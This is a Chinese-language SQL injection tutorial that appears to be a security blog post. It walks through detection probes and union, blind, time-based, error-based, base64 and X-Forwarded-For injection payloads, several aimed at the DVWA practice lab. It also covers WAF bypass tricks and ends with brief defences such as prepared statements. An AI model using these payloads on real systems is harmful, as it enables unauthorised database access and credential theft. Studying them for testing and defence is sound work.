SQL注入:通过可输入/修改sql参数实现攻击的过程
文章目录
- 0x00 SQL注入漏洞原理
- 0x01 前置知识
- 1 SQL注入分类
- 2 数据库知识
- 0x02 是否存在SQL注入?
- 0x03 不同SQL注入
- 1. Union注入
- 2. 盲注Blind
- 3. base64注入
- 0x04 SQL注入绕过技术
- 0x05 SQL防注入
0x00 SQL注入漏洞原理
满足2条件:
参数用户可控、参数带入数据库查询
0x01 前置知识
1 SQL注入分类
- Union注入
- Boolean
- 报错
- 盲注
- …
2 数据库知识
mysql 5.0后1库3张表和字段:
Information_schma
表名:Information_schma.schemata表名:Information_schma.TABLES 字段:TABLE_SCHEMA(库)和TABLE_NAME(表)表名:Information_schma.COLUMNS 字段:TABLE_SCHEMA(库)和TABLE_NAME(表)和BOLUMN_NAME(字段)
函数及注释:
-
limit函数:limit 0,1 :第0行开始,取1条记录
-
Database():当前网站使用的数据库
-
Version():当前MySQL版本
-
User():当前MySQL的用户
-
注释符:# 、 – 、 /**/
-
内联注释:
/*!code*/ 用来执行我们的sql语句 示例: Index.php?id=-15 /*!UNION#/ /*!SELECT*/ 1,2,3
0x02 是否存在SQL注入?
1
1'
1 and 1=1
1 and 1=2
"1 and 1=1"的Reply和1的一致,"1 and 1=2"和1的Reply和1的不一致,说明存在SQL注入。
0x03 不同SQL注入
1. Union注入
第一步:判断是否存在注入
原理:1和1and 1=1 返回结果一致
参考:如果order by也可执行的话,sql注入优先考虑 union注入
参考2:堆叠查询注入与union注入相似
#只是堆叠的是另一条查询语句
1' ;select if(substr(user(),1,1)='v',sleep(5),1) %23
union后续步骤
- 注入的sql语句中字段个数: order by 字段数
1' order by 1
- 回显字段的记录:
注意:mysql联合查询每个 SELECT 语句的列数和对应位置的数据类型必须相同。
unsion select 1,2
示例:
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,2
/*
结果为first_name, last_name和记录是1,2的记录联合查询,
我们要把1,2当作列使用, 解决:最好是同一张表的字段名(因为有相同行数)
所以在表查询中2位置可替换为 函数
直接查database()结果为 记录数的行数条的数据库名
*/
- 找指定记录
当前数据库,当前库中表,当前表中字段,知道字段替换1,2名称
#当前数据库名
1' union select 1,database() #
#当前库中表名
1' union select 1,table_name from information_schema.tables where table_schema=database() #
# 当前表字段
1' union select 1,column_name from information_schema.columns where table_name='users' #
查所需数据
#此时可以替换union select 1,2 的2处位置
1' union select user,password from users #
2. 盲注Blind
原理:回显为 是或否 及类似 方式
分类:
本人觉得如:报错注入(yes/no)、时间盲注(response时间)都可归为一种,但利用的方法不同。
只是利用了server的 response 或者 反应机制。
利用方法:
length(database())和substr(database(),1,1)='d'
updatexml(1,concat(0x7e,(select user()),0x7e),1)
sleep()或benchmark()#如if(length(database())>1,sleep(5),1)
步骤前提:存在SQL注入
#本示例参数为规律性ID序号
1
1' and 1=1 #
1' and 1=2 #
步骤:
数据库名,表名,记录内容
#判断数据库名长度
1' and length(database()) >=1 #
#数据库名
1' and substr(database(),1,1)='d' #substr:截取第1个字符,返回1个
或 1' and ord(substr(database(),1,1))=115 #
/**
第2种时ASCII码的字符,ord函数转换
可以考虑用Burp爆破字典
**/
# 表名、字段,记录
# 每个表名,每个表名字符都需挨个检查。推荐字典爆破。
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g' #
/**
表名,字段名知道后,依然是对 关键的记录 进行 字符判断
**/
1' and substr((select password from users where xx=xx),limit 0,1)1,1) #
3. base64注入
原理:发送请求message时参数通过 url 编码如base64编码方式。(%3d是base64编码的显著特征)
解决:只要知道特殊字符的base64编码和union注入即可。
利用场景:
url + union 绕过WAF: 对参数ID的检查。
XFF注入
X-Forwarded-for:客户端真实IP。一个HTTP协议拓展头,
可设置其值,127.0.0.1’ 1=1 # 其他类似union注入
0x04 SQL注入绕过技术
#判断是否存在SQL注入的步骤
1
1'
1 and 1=1
1 and 1=2
/**
当1'和1回显不一致,1 and 1=1通过且和1 的结果一致,说明存在SQL注入
但是1 and 1=1 ,和前两者的返回都不一样且报错,说明什么?
关键字被过滤:如and、or、order by、
思考:被谁过滤?关键字的过滤放置到WAF/前端/后端?
bypass绕过方式:
- 关键字大小写绕过
对关键字如and …改变字符大小写。如:改为:And尝试绕过。 - 关键字双写绕过
如关键字and被过滤,使用 anandd - 编码绕过
服务器对URL解码一次,所以对URL全编码时编码2次,如只过滤关键字可只编码关键字 - 内联注释绕过
与mysql的内联注释符/!and/相关。
如:id=1/*!and*/ 1=1
0x05 SQL防注入
防注入方式:
-
过滤危险字符
(如发现一些关键字(and、sleep等其他函数)则退出程序)
注:一定程度可防止SQL注入,但仍然可以绕过 -
预编译sql语句
(对数据库增删改查时不直接查询,而是使用占位符,对参数进行检查后,再进行语句)